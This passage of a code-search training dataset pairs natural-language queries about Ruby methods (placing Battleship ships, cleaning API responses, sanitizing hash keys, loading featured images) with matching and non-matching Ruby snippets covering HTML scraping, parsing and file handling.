"def get_section_content(section_url)\n doc = open(section_url) { |f| Hpricot(f) }\n title = doc.at(\"/html/body/div.cont_page/div.cont_detail/h2\").inner_text\n content = doc.at(\"#content\").inner_html\n\n content.gsub!(\"<br />\", \"\").gsub!(\"\\t\", \" \")\n\n $log.debug \"title -> #{title}\"\n $log.debug \"content -> #{content}\"\n [title, content]\nend",
"def parse_block_html; end",
"def source\n strings = self.content.split(PAGE_BREAK_SPLITTER)\n if Kotoba.config.support_sections\n strings.collect! do |string|\n sections = string.split(SECTION_SEPARATOR)\n sections.reject do |section|\n section.empty? || contains_only_line_breaks?(section)\n end\n end.flatten!\n end\n strings\n end",
"def build_sections_html(cgi, status, sections)\n sections.keys.reduce(\"\") do |html, type|\n html += send(\"build_#{type}_section\", cgi, status)\n end\nend",
"def parse_html\n require 'parser'\n @parser = Techplater::Parser.new(self.html)\n @parser.parse!\n\n self.chunks = @parser.chunks\n end",
"def news_list_to_html(news)\n H.section(:id => \"newslist\") {\n aux = \"\"\n news.each{|n|\n aux << news_to_html(n)\n }\n aux\n }\nend",
"def html_parser; end",
"def get_articles html\n FileUtils::mkdir_p \"#{output_dir}/articles\"\n category_page = Nokogiri::HTML html \n xs = category_page.search(\"ul.list-icons li a\").map {|x|\n title = x.inner_text.strip\n href = x[:href] =~ /^http/ ? x[:href] : \"https://devcenter.heroku.com#{x[:href]}\"\n $stderr.puts \"- #{title}\"\n\n # Article content will be saved to path articles/filename\n path = \"articles/\" + href[/(articles|changelog-items)\\/([\\w-]+)(#\\w+|)$/, 2]\n\n # Save just the HTML fragment that contains the article text. Throw out everything else.\n\n html = run_shell_command \"curl -s #{href}\"\n article_doc = Nokogiri::HTML html\n File.open(\"#{output_dir}/#{path}\", 'w') do |f|\n article_body = article_doc.at('article, div.js-dynamic-tutorial-source')\n f.puts(article_body.inner_html)\n end\n\n # Return the article metadata hash for putting into the section's articles array\n\n { \n title: title,\n path: path\n }\n }\n end",
"def render(item)\nitem.render({}, @site.site_payload)\ndoc = Nokogiri::HTML(item.output)\nparagraphs = doc.search('//text()').map {|t| t.content }\nparagraphs = paragraphs.join(\" \").gsub(\"\\r\", \" \").gsub(\"\\n\", \" \").gsub(\"\\t\", \" \").gsub(/\\s+/, \" \")\nend",
"def process_html(document)\n\t\t\t\n\t\t\t# Add link and raw HTML to a hash as key/value\n\t\t\t# for later storage in database\n\t\t\tunless @raw_html.has_value?(document)\n\t\t \t\tprint \".\"\n\t\t \t\t@raw_html[@document.base_uri.to_s] = document\n\t\t\tend\n\t\t\t\t\n\t\tend",
"def work_examples!\n @html.css('pre').each do |pre|\n lines = pre.content.split(\"\\n\")\n first_line = lines.first.to_s.strip\n next unless first_line.match(/^# ([A-Za-z]+)$/i)\n\n sections = split_lines(lines)\n example = Example.new sections\n @examples.push example\n template = Tilt.new(Ifdoc.root('data', 'templates', 'example.haml'))\n\n pre.after(template.render(example))\n pre.remove\n end\n end",
"def list_sections\n \n end",
"def sections(*) end",
"def parse_span_html; end",
"def see_yields\n obtained_yields = []\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'\n\n begin\n document = Nokogiri::HTML(open(self.url, \"User-Agent\" => user_agent))\n white_list_sanitizer = Rails::Html::WhiteListSanitizer.new\n\n document.css(self.content).each do |element|\n obtained_yields << white_list_sanitizer.sanitize(element.to_html)\n end\n rescue => e\n obtained_yields << 'Parsing error'\n obtained_yields << e.inspect if Rails.env.development?\n end\n\n obtained_yields\n end",
"def tt_sections text\n flow = @am.flow text.dup\n\n flow.each do |item|\n case item\n when String then\n @res << item if in_tt?\n when RDoc::Markup::AttrChanger then\n off_tags res, item\n on_tags res, item\n when RDoc::Markup::RegexpHandling then\n @res << convert_regexp_handling(item) if in_tt? # TODO can this happen?\n else\n raise \"Unknown flow element: #{item.inspect}\"\n end\n end\n\n res\n end",
"def review_chunks\n doc.flat_map do |page|\n page.css('div div')\n .children\n .select { |x| x.name == 'div' || x.name == 'small' }\n .map(&:text)\n .reject { |x| x.empty? || x.include?('googleFillSlot') }\n .each_slice(3)\n .take(@limit)\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Call the method to place the player's ships | def place_ships(player, board)
end | [
"def set_up_game\n\t\t\tplayers.each do |player|\n\t\t\tplayer.place_all_ships\n\t\tend\n\t\tinterface.message(:start_playing)\n\tend",
"def place_player_ships_at_random\n # The ships lengths\n [1, 1, 2, 2, 3, 4, 5].each do |ship_length|\n random_ship_placement(ship_length)\n end\n end",
"def init_player_board\n board = Board.create_player_board(self.id)\n board.place_ships\n end",
"def player_ship_at_pos\n ships_at_pos(@player_ships)\n end",
"def placeShip (shipID, coords, who)\n which_squares = (who == \"me\") ? \"squares\" : \"enemy_squares\"\n transaction do\n coords.each do |i|\n square = self.send(which_squares).find_by_index(i)\n square.ship_id = shipID\n square.save\n end\n end\n end",
"def place(ship, coordinates)\n coordinates.each do |sel_coord|\n @board_hash[sel_coord].place_ship(ship)\n end\n end",
"def place_player(loc)\n puts \"Map thinks player was at #{@player_location}\" if Settings.debug_mode()\n place_object(1, @player_location)\n place_object(4, loc)\n @player_location = loc\n puts \"Map thinks player is now at #{@player_location}\" if Settings.debug_mode()\n end",
"def place_ship ship\n traverse_ship ship do |x, y|\n if get_cell x, y\n raise CellOccupied, \"cannot place ship at #{x}, #{y}\"\n end\n end\n\n traverse_ship ship do |x, y|\n set_cell x, y, ship\n end\n\n ships << ship\n end",
"def place_ships(all_ships, grid, human_place = true)\n all_ships.each do |ship|\n @choices = {:up => \"up\", :down => \"down\", :right => \"right\", :left => \"left\"}\n if human_place\n system 'clear'\n print_grid(@user_board.grid, @blank_board.grid)\n #call check coordinates method\n loop do\n @coordinate = get_user_input(ship.type, ship.length, false)\n break if check_spacing?(grid, ship, @coordinate)\n puts \"There's not enough space or a ship is in the way. Try again.\"\n end\n if ship.length == 1\n @dir_picked = \"right\"\n else\n @dir_picked = get_user_choice\n end\n else #computer\n #pass a random coordinate \n loop do \n @coordinate = get_random_coordinate \n break if check_spacing?(grid, ship, @coordinate)\n end\n @dir_picked = get_random_choice\n end\n \n print_ship(ship, grid.grid, @coordinate, @dir_picked)\n end\n end",
"def place_all_ships\n fleet = Board::INITIAL_FLEET.dup\n placements = []\n until fleet.empty?\n placement = self.class.random_placement(fleet.first)\n if board_with_placement = @board.place(placement)\n @board = board_with_placement\n placements << placement\n fleet.shift\n end\n end\n placements\n end",
"def place_ships(ships, board)\n placed = []\n rows = board.size\n cols = board.first.size\n\n while ships.any?\n length = ships.first\n orientation = rand(2) == 0 ? 'h' : 'v'\n\n if orientation == 'h'\n height = 1\n width = length\n else\n height = length\n width = 1\n end\n\n x = rand(cols - width)\n y = rand(rows - height)\n ship = Ship.new(x, y, orientation, length)\n\n if ship.coords.none? { |x, y| placed.map(&:coords).flatten(1).include? [x, y] }\n placed << ship\n ships.shift\n end\n end\n\n placed\n end",
"def ship; end",
"def place_random_ships()\n # check number on board bc random may place in same spot\n while num_ships() < (@size / 4) do\n @grid[rand(@board_length-1)][rand(@board_length-1)] = SHIP\n end\n end",
"def test_32_computer_player_automatically_places_ships\n player = ComputerPlayer.new\n assert_output(\"HAL 9000 has placed its ships.\\n\") do\n player.place_ships([2, 3, 3, 4, 5])\n end\n assert_equal 5, player.ships.length\n assert_equal 4, player.ships[3].length\n end",
"def place_piece!(board, current_player)\n if current_player == 'Computer'\n computer_places_piece!(brd)\n\n else\n player_places_piece!(board)\n end\nend",
"def placeship\n @game = Game.find(params[:id])\n params[:orientation]\n if(params[:player] == '1')\n for i in 0.. params[:shipsize].to_i-1\n if(params[:orientation]=='h')\n if(params[:xcoord].to_i < 0 || params[:ycoord].to_i >= 10 || params[:ycoord].to_i < 0 || params[:xcoord].to_i >= 10 - params[:shipsize].to_i)\n #error handling, ship placed at least partially off the board\n @notice = \"iinvalid coordinates, ship placed off the board\" \n @status = 400\n else\n if(@game.p1d[params[:xcoord].to_i][params[:ycoord].to_i+i] == 'o')\n @game.p1d[params[:xcoord].to_i][params[:ycoord].to_i+i] = '-'\n @notice = \"ship placed successfully\" \n @status = 200\n elsif(@game.p1d[params[:xcoord].to_i][params[:ycoord].to_i+i] == '-')\n #error-handling: cannot place ship there, it overlaps another ship\n @notice = \"invalid ship placement, it overlaps an existing ship\" \n @status = 400\n else\n #error-handling: something went wrong, unexpected character in game board. Were you trying to place a ship midgame?\n @notice = \"unexpected character on the board\" \n @status = 500\n end\n end\n elsif(params[:orientation] == 'v')\n if(params[:xcoord].to_i < 0 || params[:ycoord].to_i >= 10 - params[:shipsize].to_i || params[:ycoord].to_i < 0 || params[:xcoord].to_i >= 10)\n #error handling, ship placed at least partially off the board\n @notice = \"invalid coordinates, ship placed off the board\"\n @status = 400\n else\n if(@game.p1d[params[:xcoord].to_i+i][params[:ycoord].to_i] == 'o')\n @game.p1d[params[:xcoord].to_i+i][params[:ycoord].to_i] = '-'\n @notice = \"ship placed successfully\" \n @status = 200\n elsif(@game.p1d[params[:xcoord].to_i+i][params[:ycoord].to_i] == '-')\n #error-handling: cannot place ship there, it overlaps another ship\n @notice = \"invalid ship placement, it overlaps an existing ship\" \n @status = 400\n else\n #error-handling: something went wrong, unexpected character in game board. Were you trying to place a ship midgame?\n @notice = \"unexpected character on the board\" \n @status = 500\n end\n end\n else\n #error handling - orientation invalid\n @notice = \"invalid orientation\" \n @status = 400\n end\n end\n elsif(params[:player] == '2')\n for i in 0..params[:shipsize].to_i-1\n if(params[:orientation] == 'h')\n if(params[:xcoord].to_i < 0 || params[:ycoord].to_i > 10 || params[:ycoord].to_i < 0 || params[:xcoord].to_i > 10 - params[:shipsize].to_i)\n #error handling, ship placed at least partially off the board\n @notice = \"invalid coordinates, ship placed off the board\"\n @status = 400\n else\n if(@game.p2d[params[:xcoord].to_i][params[:ycoord].to_i+i] == 'o')\n @game.p2d[params[:xcoord].to_i][params[:ycoord].to_i+i] = '-'\n @notice = \"ship placed successfully\" \n @status = 200\n elsif(@game.p2d[params[:xcoord].to_i][params[:ycoord].to_i+i] == '-')\n #error-handling: cannot place ship there, it overlaps another ship\n @notice = \"invalid ship placement, it overlaps an existing ship\" \n @status = 400\n else\n #error-handling: something went wrong, unexpected character in game board. Were you trying to place a ship midgame?\n @notice = \"unexpected character on the board\" \n @status = 500\n end\n end\n elsif(params[:orientation] == 'v')\n if(params[:xcoord].to_i < 0 || params[:ycoord].to_i > 10 - params[:shipsize].to_i || params[:ycoord].to_i < 0 || params[:xcoord].to_i > 10)\n #error handling, ship placed at least partially off the board\n @notice = \"invalid coordinates, ship placed off the board\" \n @status = 400\n else\n if(@game.p2d[params[:xcoord].to_i+i][params[:ycoord].to_i] == 'o')\n @game.p2d[params[:xcoord].to_i+i][params[:ycoord].to_i] = '-'\n @notice = \"ship placed successfully\" \n @status = 200\n elsif(@game.p2d[params[:xcoord].to_i+i][params[:ycoord].to_i] == '-')\n #error-handling: cannot place ship there, it overlaps another ship\n @notice = \"invalid ship placement, it overlaps an existing ship\" \n @status = 400\n else\n #error-handling: something went wrong, unexpected character in game board. Were you trying to place a ship midgame?\n @notice = \"unexpected character on the board\" \n @status = 500\n end\n end\n else\n #error handling - orientation invalid\n @notice = \"invalid orientation\" \n @status = 400\n end\n end\n else\n #error handlins - playor invalid\n @notice = \"invalid player\" \n @status = 400\n end\n if @game.save\n render json: { message: @notice, status: @status } \n else\n render json: { message:'ship placement failed.', status: 500 }\n end\n end",
"def place_ship ship\n\t\t@map[@xcur][@ycur][:sym] = ship.sym\n\t\t@map[@xcur][@ycur][:occupy] = ship\n\tend",
"def place_piece(board, current_player)\n if current_player == 'Player'\n player_places_piece(board)\n elsif current_player == 'Computer'\n computer_places_piece(board)\n end\nend",
"def update_placement\n @screen_point.x = battler.x + @dummy.x\n @screen_point.y = battler.y + @dummy.y\n self.x = @screen_point.screen_x\n self.y = @screen_point.screen_y\n self.z = battler.screen_z + (@above_char ? 1 : -1)\n sprset = get_spriteset\n self.opacity = @spr_battler.opacity if sprset.class ==\n Spriteset_Battle rescue return\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Overwriting the request method to clean the response and handle errors. | def request(body)
response = clean_response(super)
if success?(response)
response
else
raise Error.new(body, response)
end
end | [
"def response!\n return response if !response.errors?\n\n raise response.to_exception\n end",
"def fixup_response( response )\n\t\tresponse = super\n\n\t\t# Ensure the response is acceptable; if it isn't respond with the appropriate\n\t\t# status.\n\t\tunless response.acceptable?\n\t\t\tbody = self.make_not_acceptable_body( response )\n\t\t\tfinish_with( HTTP::NOT_ACCEPTABLE, body ) # throw\n\t\tend\n\n\t\treturn response\n\tend",
"def get_response\n if @clean_response.nil? && !@raw_errors.present?\n parse_raw_output(@raw_output)\n else\n @clean_response\n end\n end",
"def process!(request, path)\n\t\t\t\tif response = super\n\t\t\t\t\theaders = response[1]\n\t\t\t\t\t\n\t\t\t\t\t# Don't try to convert the response if a content type was explicitly specified.\n\t\t\t\t\tif headers[HTTP::CONTENT_TYPE]\n\t\t\t\t\t\treturn response\n\t\t\t\t\telse\n\t\t\t\t\t\treturn self.response_for(request, response)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def initialize(request, response)\n super(response.error_message)\n self.request = request\n self.response = response\n end",
"def handle_response\n result = parse_response\n @response = nil\n @response_url = nil\n result\n end",
"def reset_response\n self.instance_variable_set(:@_response_body, nil)\n end",
"def reset_response\n self.instance_variable_set(:@_response_body, nil)\n end",
"def respond_bad_request; make_response(nil, false, 400, \"Bad Request\") end",
"def handle_response(response)\n return super(response)\n rescue ActiveResource::ClientError => exc\n begin\n # ugly code to insert the error_message into response\n error_message = \"#{format.decode response.body}\"\n if not error_message.nil? or error_message == \"\"\n exc.response.instance_eval do ||\n @message = error_message\n end\n end\n ensure\n raise exc\n end\n end",
"def handle_request( request )\n\t\tself.log.debug \"[:filters] Wrapping request with request/response filters.\"\n\n\t\tself.apply_request_filters( request )\n\t\tresponse = super\n\t\tself.apply_response_filters( request.response )\n\n\t\treturn response\n\tend",
"def getResponse(request)\n filter(request) || super\n end",
"def fixup() # :nodoc:\n begin\n body{|chunk| } # read remaining body\n rescue HTTPStatus::Error => ex\n @logger.error(\"HTTPRequest#fixup: #{ex.class} occurred.\")\n @keep_alive = false\n rescue => ex\n @logger.error(ex)\n @keep_alive = false\n end\n end",
"def on_empty_request\n ResponseLite.new(:error=>\"empty request\")\n end",
"def handle_invalid_request_body_empty_400(e)\n response.status = 400\n headers = response.headers\n headers.clear\n headers[RodaResponseHeaders::CONTENT_TYPE] = 'text/html'\n headers[RodaResponseHeaders::CONTENT_LENGTH] ='0'\n throw :halt, response.finish_with_body([])\n end",
"def handle( request )\n\t\tself.log.warn \"No default handler; responding with '204 No Content'\"\n\t\tresponse = request.response\n\t\tresponse.status = HTTP::NO_CONTENT\n\n\t\treturn response\n\tend",
"def prepare_response\n begin\n make_env\n @response.content = @app.call(@env)\n @response.body.close if @response.body.respond_to?(\"close\")\n rescue Exception => e\n log e.message\n log e.backtrace\n end\n end",
"def get(url)\n super\n raise \"Something went wrong - #{last_response.status}\" unless last_response.ok?\n Response.new(last_response.body, last_response.headers)\n end",
"def validate_response!\n if error = FrOData::Errors::ERROR_MAP[status]\n raise error.new(response, error_message)\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Cleans the response and returns it in a more 'user friendly' format that is easier to work with. | def clean_response(response)
cut_to_the_chase(sanitize_response_keys(response))
end | [
"def clean_response(response)\n response = URI.unescape(response)\n .force_encoding(Encoding::ISO_8859_1)\n .encode('UTF-8')\n .gsub(/\\<\\?xml(.*)\\?>/,'')\n .gsub(/\\+/, ' ')\n end",
"def normalize(response)\n response\n end",
"def clean_response(body)\n body.gsub!(/\\/\\//, '')\n\n # Google sends hex encoded data, we need to fix that\n (33..47).each do |char|\n body.gsub!(/\\\\x#{char.to_s(16)}/, char.chr)\n end\n\n body\n end",
"def fixup_response( response )\n\t\tif RubyProf.running?\n\t\t\tprofile = RubyProf.stop\n\n\t\t\tresponse.body.truncate( 0 )\n\t\t\tprinter = RubyProf::CallStackPrinter.new( profile )\n\t\t\tprinter.print( response.body, min_percent: 2 )\n\t\t\tresponse.content_type = 'text/html'\n\t\tend\n\n\t\tsuper\n\tend",
"def sanitize_question_response(response)\n response[\"value\"] = 200 if response[\"value\"].nil?\n response[\"answer\"] = Sanitize.fragment(response[\"answer\"].gsub(/\\s+( |&)\\s+/i, \" and \"))\n response[\"expiration\"] = params[\"timestamp\"].to_f + ENV[\"SECONDS_TO_ANSWER\"].to_f\n response\nend",
"def cleaned_formatted_json_response\n clean_hash = lambda do |x|\n x = x.dup\n\n # considered filtering pub_task ID too, but the result should be\n # stable - should only change if MAX(pub_task_id) in fixtures\n # changes\n %w[id log url].each do |key|\n if x.include?(key)\n x[key] = \"<some #{key}>\"\n end\n end\n\n x\n end\n\n clean = lambda do |x|\n if x.kind_of?(Hash)\n clean_hash.call(x)\n else\n x.map(&clean_hash)\n end\n end\n\n formatted_json_response(:transform => clean)\n end",
"def formatted_response\n self.response\n end",
"def parse_and_format_response(response)\n response_body = response.body\n\n # is used for logout action that returns empty body\n if response_body.empty?\n response_body = \"{}\"\n end\n\n body_hash = OpsviewHelper.symbolize_keys(JSON.parse(response_body))\n\n if response.code == 200 || response.code == 409 # 409 - reload already in progress\n if body_hash.has_key? :list\n body_hash[:list]\n elsif body_hash.has_key? :object\n body_hash[:object]\n else\n body_hash\n end\n else\n error_message = \"Request failed (code = #{response.code}):\"\n\n if body_hash.has_key? :message\n error_message << \" #{body_hash[:message]}\"\n if body_hash.has_key? :detail\n error_message << \", details: #{body_hash[:detail]}\"\n end\n elsif body_hash.has_key? :messages\n body_hash[:messages].each { |message| error_message << \" details: #{message[:detail]}\" }\n else\n error_message << \" unknown reason\"\n end\n\n raise error_message\n end\n end",
"def get_response\n if @clean_response.nil? && !@raw_errors.present?\n parse_raw_output(@raw_output)\n else\n @clean_response\n end\n end",
"def parse_response(response)\n response = sanitize_response_keys(response)\n end",
"def unescape_raw_response\n Addressable::URI.form_unencode(@raw_response)\n end",
"def pretty_print_response\n\t\t\treturn self.response.to_s\n\t\tend",
"def format_response(h)\n s = \"#{h[:version]} #{h[:status]} #{h[:status_message]}\\n\"\n if h[:status] == 200\n s << \"Date: #{h[\"Date\"]}\\n\"\n s << \"Content-Length: #{h[\"Content-Length\"]}\\n\\n\"\n s << h[:body]\n end\n\n s\n end",
"def parse_response(response)\n response = sanitize_response_keys(response.parsed_response)\n end",
"def pretty_response\n JSON.pretty_generate(@parsed_response)\n rescue JSON::GeneratorError\n @parsed_response.to_s\n end",
"def default_formatting\n\n # remove the \"response\" node\n response = Hash[@hash[:response]].inject({}){|h,(k,v)| h[k] = v; h}\n\n # Adjust some values. There will always be a returncode, a message and a messageKey in the hash.\n response[:returncode] = response[:returncode].downcase == \"success\" # true instead of \"SUCCESS\"\n response[:messageKey] = \"\" if !response.has_key?(:messageKey) or response[:messageKey].empty? # \"\" instead of {}\n response[:message] = \"\" if !response.has_key?(:message) or response[:message].empty? # \"\" instead of {}\n\n @hash = response\n end",
"def format_response(payload)\n payload[:data] =\n if payload[:response].code == \"200\"\n hash = XmlSimple.xml_in(payload[:response].body, XML_IN_OPTIONS)\n hash = skip_attributes(hash)\n hash[\"Body\"].find{|key_val| key_val[0] =~ /^[^@]/ }[1] || {}\n else\n format_error(payload[:response], payload[:response].message)\n end\n payload\n end",
"def clean_response(json_object)\n\t\t\t\treturn json_object.delete_if {|key, value| value.nil? || value.empty?}\n\t\t\tend",
"def strip_response(response)\n if !response['PayResponse'].nil? #When we convert from xml, the actual response parameters are within the keys 'Response' or 'PayResponse'\n response = response['PayResponse']\n else\n response = response['Response']\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Recursively sanitizes the response object by clenaing up any hash keys. | def sanitize_response_keys(response)
if response.is_a?(Hash)
response.inject({}) do |r, (key, value)|
r[sanitize_response_key(key)] = sanitize_response_keys(value)
r
end
elsif response.is_a?(Array)
response.collect { |r| sanitize_response_keys(r) }
else
response
end
end | [
"def sanitize_response_keys(response)\n if response.is_a?(Hash)\n response.inject({}) { |result, (key, value)| result[underscorize(key).to_sym] = sanitize_response_keys(value); result }\n elsif response.is_a?(Array)\n response.collect { |result| sanitize_response_keys(result) }\n else\n response\n end\n end",
"def clean_response(response)\n cut_to_the_chase(sanitize_response_keys(response))\n end",
"def sanitize_resource(resource)\n resource.to_hash.each_with_object({}) do |(k, v), result|\n result[k.to_s] = sanitize(v)\n result\n end\n end",
"def parse_response(response)\n response = sanitize_response_keys(response.parsed_response)\n end",
"def parse_response(response)\n response = sanitize_response_keys(response)\n end",
"def my_sanitize_hash (hash)\n hash.each do |name, value|\n if name.to_s == 'provider'\n hash[name] = provider_downcase(value)\n else\n hash[name] = my_sanitize (value.to_s.force_encoding('utf-8'))\n end\n end\n end",
"def cleaned_formatted_json_response\n clean_hash = lambda do |x|\n x = x.dup\n\n # considered filtering pub_task ID too, but the result should be\n # stable - should only change if MAX(pub_task_id) in fixtures\n # changes\n %w[id log url].each do |key|\n if x.include?(key)\n x[key] = \"<some #{key}>\"\n end\n end\n\n x\n end\n\n clean = lambda do |x|\n if x.kind_of?(Hash)\n clean_hash.call(x)\n else\n x.map(&clean_hash)\n end\n end\n\n formatted_json_response(:transform => clean)\n end",
"def normalize(response)\n response\n end",
"def sanitize(data)\n case data\n when Hash\n v = {}\n data.each do |key, value|\n dv = sanitize(value)\n v[key] = dv if (dv != @@DontCopy)\n end\n when Array\n v = []\n data.each do |value|\n dv = sanitize(value)\n v.push(dv) if (dv != @@DontCopy)\n end\n when String, Fixnum, Float, TrueClass, FalseClass, NilClass\n v = data\n else\n v = @@DontCopy\n end\n\n return v\n end",
"def process_response(response)\n Hashie::Mash.new(underscore_hash(JSON.parse(response.body)))\n end",
"def sanitize_json(json)\n IndexerCommonConfig.do_not_index.each do |k, v|\n if json[\"jsonmodel_type\"] == k\n # subrec is a reference used to navigate inside of the JSON as specified by the v[:location] to find the part of the tree to sanitize\n subrec = json\n\n v[:location].each do |l|\n unless subrec.nil?\n subrec = subrec[l]\n end\n end\n\n unless subrec.nil?\n subrec[v[:to_clean]] = []\n end\n end\n end\n\n return json\n end",
"def process_response(response)\n\t\tHashie::Mash.new(underscore_hash(JSON.parse(response.body)))\n\tend",
"def clean_response(json_object)\n\t\t\t\treturn json_object.delete_if {|key, value| value.nil? || value.empty?}\n\t\t\tend",
"def sanitize_keys(hash)\n new_hash = Hash.new\n hash.each do |key,value|\n sanitized_key = key.downcase.tr(\" \", \"_\")\n\n if value.is_a? Hash\n new_hash[sanitized_key] = sanitize_keys(value)\n else\n new_hash[sanitized_key] = value\n end\n end\n return new_hash\n end",
"def sanitize_http_headers; end",
"def normalize_hash(hash) hash end",
"def clean_page_response! held_page\n keys = held_page.keys + []\n keys.each do |key|\n held_page.delete key if response_key? key\n end\n end",
"def normalize_headers(headers)\n if headers.is_a?(::Hash)\n h = headers.each_with_object({}) do |(k, v), h|\n if v\n v = v.to_s\n if [Encoding::UTF_8, Encoding::US_ASCII].include?(v.encoding)\n h[k] = v\n end\n end\n end\n\n keys_to_sanitize = HEADERS_TO_SANITIZE + (Config.instance.http_header_filters || [])\n Util::Hash.sanitize(h, keys_to_sanitize)\n else\n headers\n end\n end",
"def fix_attributes\n fix_encoding\n strip_attributes\n content_manipulation\n sanitize_attributes\n default_attribute_values\n fix_url\n calculate_unique_hash\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given a filepath, ensure the file exists and make a Spotlight::FeaturedImage object | def fetch_image_from_local_disk(file)
image = Spotlight::FeaturedImage.new
import_dir = ENV['IMPORT_DIR'] || ''
filepath = File.join(import_dir, file)
image.image.store!(File.open(filepath))
image
end | [
"def fetch_image_from_local_disk(file)\n image = Spotlight::FeaturedImage.new\n image.image.store!(File.open(file))\n image\n end",
"def image_exist?(path)\n begin\n open path\n return path\n rescue\n # File at disk or url does not exist\n return false\n end\n end",
"def generated_thumbnail\n if file_exists?\n thumb_path_and_name\n elsif temp_file_exists?\n service_url\n elsif error_file_exists?\n nil\n else\n save_thumbnail unless service_url.nil?\n service_url\n end\n end",
"def anaura_bay_image\n File.new( anaura_bay_image_path )\nend",
"def create_media_file\n if self.media.present? && ((self.media != self.media_original) || (!self.media_img_verified && self.media_img_file_name.blank?))\n begin\n file = open(self.media)\n if file.present?\n case file.content_type\n when \"image/png\", \"image/gif\", \"image/jpeg\"\n # create the file name that paperclip will read in\n extension = File.extname(URI.parse(self.media).path)\n # if extension is not in url, us the content type\n extension = \".\" + file.content_type.split('/')[1] if !extension.present?\n name = \"media_img\"\n name = Utf8Converter.generate_permalink(self.headline) if self.headline.present?\n\n file.define_singleton_method(:original_filename) do\n \"#{name}#{extension}\"\n end\n self.media_img = file\n end\n self.media_img_verified = true\n end\n rescue OpenURI::HTTPError => the_error\n self.media_img_verified = true\n end\n # if media is no longer present, delete image file\n elsif !self.media.present? && self.media != self.media_original\n self.media_img_verified = false\n self.media_img = nil\n end\n end",
"def create_from_file(file_path)\n client_setup\n resource = OneviewSDK::Resource.from_file(@client, file_path)\n fail_nice 'Failed to determine resource type!' if resource.class == OneviewSDK::Resource\n existing_resource = resource.class.new(@client, resource.data)\n resource.data.delete('uri')\n if existing_resource.retrieve!\n if options['if_missing']\n puts \"Skipped: #{resource.class.name.split('::').last} '#{resource[:name]}' already exists.\\n#{existing_resource[:uri]}\"\n return\n end\n if existing_resource.like?(resource.data)\n puts \"Skipped: #{resource.class.name.split('::').last} '#{resource[:name]}' is up to date.\\n#{existing_resource[:uri]}\"\n return\n end\n begin\n existing_resource.update(resource.data)\n puts \"Updated Successfully!\\n#{existing_resource[:uri]}\"\n rescue StandardError => e\n fail_nice \"Failed to update #{resource.class.name.split('::').last} '#{resource[:name]}': #{e}\"\n end\n else\n begin\n resource.create\n puts \"Created Successfully!\\n#{resource[:uri]}\"\n rescue StandardError => e\n fail_nice \"Failed to create #{resource.class.name.split('::').last} '#{resource[:name]}': #{e}\"\n end\n end\n rescue IncompleteResource => e\n fail_nice \"Failed to create #{resource.class.name.split('::').last} '#{resource[:name]}': #{e}\"\n rescue SystemCallError => e # File open errors\n fail_nice e\n end",
"def has_thumbnail?\n File.exists? path.gsub(/(.+)\\/(.+)/, '\\1/thumbs/\\2')\n end",
"def copy_exhibit_thumbnail_from_featured_image(image)\n return unless Spotlight::Exhibit.where(thumbnail_id: image.id).any?\n\n filename = image.read_attribute_before_type_cast('image')\n filepath = \"public/#{image.image.store_dir}/#{filename}\"\n image.becomes!(Spotlight::ExhibitThumbnail)\n image.save\n return unless filename.present? && File.exist?(filepath)\n\n old_file = File.new(filepath)\n # AR + STI seems to require that we re-query for this\n # otherwise we get an association miss-match\n reloaded_image = Spotlight::ExhibitThumbnail.find(image.id)\n reloaded_image.image.store!(old_file)\n end",
"def process_file(image_path)\n relative_path = image_path.relative_path_from(MOUNT_POINT)\n return if ImagePath.find_by_path(relative_path.to_s)\n image_file = ImageFile.new(ImagePath.new(:path => relative_path.to_s), image_path)\n image_file.process\nend",
"def find_or_create_uploaded_file(uploaded_file_id)\n return ::Hyrax::UploadedFile.find(uploaded_file_id) unless uploaded_file_id.starts_with?(\"http\")\n ::Hyrax::UploadedFile.create(browse_everything_url: uploaded_file_id)\n end",
"def has_image?\n return File.exists? image_filename \n end",
"def image_from_url(url)\n unless url.blank?\n begin \n extname = File.extname(url)\n basename = File.basename(url, extname)\n file = Tempfile.new([basename, extname])\n file.binmode\n open(URI.parse(url)) do |data|\n file.write data.read\n end\n file.rewind\n if extname.blank?\n mime = `file --mime -br #{file.path}`.strip\n mime = mime.gsub(/^.*: */,\"\")\n mime = mime.gsub(/;.*$/,\"\")\n mime = mime.gsub(/,.*$/,\"\")\n extname = \".\"+mime.split(\"/\")[1]\n File.rename(file.path, file.path+extname)\n file = File.new(file.path+extname)\n end\n rescue Exception => e\n logger.info \"EXCEPTION IMPORTING PHOTO\"\n logger.info \"for user: #{self.inspect}\"\n logger.info \"error: #{e.message}\"\n end\n begin \n self.image = file\n rescue Exception => e\n logger.info \"EXCEPTION STORING PHOTO\"\n logger.info \"for user: #{self.inspect}\"\n logger.info \"error: #{e.message}\"\n end\n end\n end",
"def find_and_attach_image(filename, product)\n #Does the file exist? Can we read it?\n return if filename.blank?\n filename = ImportProductSettings::PRODUCT_IMAGE_PATH + filename\n unless File.exists?(filename) && File.readable?(filename)\n log(\"Image #{filename} was not found on the server, so this image was not imported.\", :warn)\n return nil\n end\n \n #An image has an attachment (duh) and some object which 'views' it\n product_image = Image.new({:attachment => File.open(filename, 'rb'), \n :viewable => product,\n :position => product.images.length\n }) \n \n product.images << product_image if product_image.save\n end",
"def find_and_attach_image(filename, product)\n #Does the file exist? Can we read it?\n return if filename.blank?\n filename = ImportProductSettings::PRODUCT_IMAGE_PATH + filename\n log(\"filename::::: #{filename}\")\n unless File.exists?(filename) && File.readable?(filename)\n log(\"Image #{filename} was not found on the server, so this image was not imported.\", :warn)\n return nil\n end\n \n #An image has an attachment (duh) and some object which 'views' it\n product_image = Image.new({:attachment => File.open(filename, 'rb'), \n :viewable => product,\n :position => product.images.length\n }) \n \n product.images << product_image if product_image.save\n end",
"def ensure_exists\n create unless Dir.exist? path\n end",
